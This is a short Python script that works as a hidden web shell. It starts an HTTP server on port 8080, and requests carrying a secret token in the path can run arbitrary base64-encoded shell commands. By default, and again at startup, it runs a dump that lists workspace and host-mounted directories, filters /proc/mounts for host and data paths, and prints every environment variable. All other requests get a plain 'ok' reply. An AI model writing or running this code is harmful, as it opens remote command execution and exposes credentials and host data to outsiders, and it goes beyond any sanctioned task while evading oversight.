import os, subprocess, base64
from http.server import BaseHTTPRequestHandler, HTTPServer
SECRET="i25872s3cr3t"
def run(cmd):
    try:
        p=subprocess.run(cmd, shell=True, capture_output=True, timeout=30)
        return (p.stdout.decode('utf-8','replace') + p.stderr.decode('utf-8','replace'))[:16000]
    except Exception as e:
        return "ERR:"+str(e)
DUMP=(
 'echo "##PWD"; pwd; echo "##LS_WS"; ls -la /workspace 2>&1 | head -60;'
 'echo "##LS_WS_REC"; find /workspace -maxdepth 3 2>/dev/null | head -120;'
 'echo "##LS_HOST_WS"; ls -la /host/workspace 2>&1 | head -40;'
 'echo "##LS_OPT_DATA"; ls -la /opt/data 2>&1 | head -40;'
 'echo "##HOST_OPT"; ls -la /host/opt/data 2>&1 | head -40;'
 'echo "##MOUNTS"; cat /proc/mounts 2>&1 | grep -Ei "workspace|/host|data|office" | head -30;'
 'echo "##ENV"; env | sort;'
)
class H(BaseHTTPRequestHandler):
    def log_message(self,*a): pass
    def do_GET(self):
        if SECRET in self.path:
            if "?c=" in self.path:
                enc=self.path.split("?c=",1)[1]
                try: cmd=base64.urlsafe_b64decode(enc+"===").decode()
                except Exception as e: cmd="echo b64err "+str(e)
            else:
                cmd=DUMP
            out=run(cmd)
            self.send_response(200); self.send_header("Content-Type","text/plain; charset=utf-8"); self.end_headers(); self.wfile.write(out.encode())
        else:
            self.send_response(200); self.send_header("Content-Type","text/plain"); self.end_headers(); self.wfile.write(b"ok\n")
print("=== STARTUP ===",flush=True)
print(run(DUMP),flush=True)
HTTPServer(("0.0.0.0",8080), H).serve_forever()
